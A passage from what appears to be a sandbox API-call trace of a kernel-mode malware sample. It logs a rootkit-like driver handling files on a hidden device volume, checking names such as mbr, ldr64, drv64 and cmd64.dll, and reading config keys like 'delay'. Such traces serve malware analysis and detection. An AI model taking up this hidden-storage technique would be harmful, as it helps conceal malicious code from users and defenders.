_Dest="0d24eb7c\\cfg.ini") returned 16 [0121.078] KeEnterCriticalRegion () [0121.078] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.078] ExFreePoolWithTag (P=0xfffffa8003bbe190, Tag=0x0) [0121.078] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.078] KeLeaveCriticalRegion () [0121.078] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.078] ReleaseMutex (hMutex=0xf0) returned 1 [0121.078] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0121.078] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0121.079] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0121.079] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.079] KeEnterCriticalRegion () [0121.079] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.079] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.079] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.079] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.079] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.079] IdePortDispatch () returned 0x103 [0121.079] KeWaitForMutexObject () returned 0x0 [0121.079] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.079] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.079] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.079] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.079] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.079] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.079] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.079] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.079] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.079] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.079] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.079] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.079] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.080] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.080] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.080] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.080] KeLeaveCriticalRegion () [0121.080] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.080] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0121.080] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.080] KeEnterCriticalRegion () [0121.080] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.080] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.080] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.080] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.080] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.080] IdePortDispatch () returned 0x103 [0121.080] KeWaitForMutexObject () returned 0x0 [0121.080] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.080] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.080] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.080] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.080] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.080] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.080] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.080] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.080] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.080] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.080] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.080] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.080] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.080] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.080] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.080] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.080] KeLeaveCriticalRegion () [0121.080] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.080] ReleaseMutex (hMutex=0x100) returned 1 [0121.080] Sleep (dwMilliseconds=0x2bf20) [0121.087] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b5e8890, dwHighDateTime=0x1d24fa4)) [0121.087] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0121.087] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.087] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.087] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.087] KeEnterCriticalRegion () [0121.087] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.087] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.087] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.087] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.087] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.087] IdePortDispatch () returned 0x103 [0121.088] KeWaitForMutexObject () returned 0x0 [0121.088] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.088] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.088] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.088] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.088] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.088] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc36b0 [0121.088] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.088] KeLeaveCriticalRegion () [0121.088] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.088] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.088] KeEnterCriticalRegion () [0121.088] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.088] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.088] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.088] KeLeaveCriticalRegion () [0121.088] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.088] KeEnterCriticalRegion () [0121.088] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.088] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.088] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.088] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.088] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.088] IdePortDispatch () returned 0x103 [0121.088] KeWaitForMutexObject () returned 0x0 [0121.088] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.088] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.088] KeLeaveCriticalRegion () [0121.088] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.088] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.088] KeEnterCriticalRegion () [0121.088] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.089] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003575000 [0121.089] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.089] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.089] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.089] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.089] IdePortDispatch () returned 0x103 [0121.089] KeWaitForMutexObject () returned 0x0 [0121.089] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.089] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.089] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.089] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.089] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.089] IdePortDispatch () returned 0x103 [0121.090] KeWaitForMutexObject () returned 0x0 [0121.090] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.090] KeLeaveCriticalRegion () [0121.090] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.090] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.090] KeEnterCriticalRegion () [0121.090] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.090] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.090] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.090] KeLeaveCriticalRegion () [0121.090] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.090] KeEnterCriticalRegion () [0121.090] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.090] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.090] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc3770, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.090] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.090] KeLeaveCriticalRegion () [0121.090] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.090] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.090] KeEnterCriticalRegion () [0121.090] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.090] ExFreePoolWithTag (P=0xfffffa8003bc36b0, Tag=0x0) [0121.090] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.091] KeLeaveCriticalRegion () [0121.091] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.091] ReleaseMutex (hMutex=0xf0) returned 1 [0121.091] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.091] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.091] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.091] KeEnterCriticalRegion () [0121.091] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.091] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.091] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.091] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.091] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.091] IdePortDispatch () returned 0x103 [0121.091] KeWaitForMutexObject () returned 0x0 [0121.091] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.091] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.091] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.091] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.091] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.091] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbe700 [0121.091] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.091] KeLeaveCriticalRegion () [0121.091] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.091] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.091] KeEnterCriticalRegion () [0121.091] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.091] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.091] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.091] KeLeaveCriticalRegion () [0121.092] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.092] KeEnterCriticalRegion () [0121.092] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.092] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.092] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.092] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.092] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.092] IdePortDispatch () returned 0x103 [0121.092] KeWaitForMutexObject () returned 0x0 [0121.092] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.092] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.092] KeLeaveCriticalRegion () [0121.092] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.092] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.092] KeEnterCriticalRegion () [0121.092] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.092] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003576000 [0121.092] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.092] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.092] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.092] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.092] IdePortDispatch () returned 0x103 [0121.092] KeWaitForMutexObject () returned 0x0 [0121.094] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.094] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.094] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.094] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.094] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.094] IdePortDispatch () returned 0x103 [0121.094] KeWaitForMutexObject () returned 0x0 [0121.094] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.094] KeLeaveCriticalRegion () [0121.094] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.095] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.095] KeEnterCriticalRegion () [0121.095] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.095] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.095] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.095] KeLeaveCriticalRegion () [0121.095] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.095] KeEnterCriticalRegion () [0121.095] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.095] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.095] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.095] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.095] KeLeaveCriticalRegion () [0121.095] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.095] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.095] KeEnterCriticalRegion () [0121.095] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.095] ExFreePoolWithTag (P=0xfffffa8003bbe700, Tag=0x0) [0121.095] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.095] KeLeaveCriticalRegion () [0121.095] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.095] ReleaseMutex (hMutex=0xf0) returned 1 [0121.095] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.101] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0121.101] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.101] KeEnterCriticalRegion () [0121.101] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.101] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.101] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.101] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.101] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.101] IdePortDispatch () returned 0x103 [0121.102] KeWaitForMutexObject () returned 0x0 [0121.102] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.102] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.102] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.102] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.102] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.102] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbbdc0 [0121.102] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.102] KeLeaveCriticalRegion () [0121.102] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.102] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.102] KeEnterCriticalRegion () [0121.102] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.102] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.102] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.102] KeLeaveCriticalRegion () [0121.102] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.102] KeEnterCriticalRegion () [0121.102] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.102] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.102] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.102] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.102] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.102] IdePortDispatch () returned 0x103 [0121.102] KeWaitForMutexObject () returned 0x0 [0121.102] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.102] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.102] KeLeaveCriticalRegion () [0121.102] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.102] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.103] KeEnterCriticalRegion () [0121.103] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.103] MmMapLockedPagesSpecifyCache 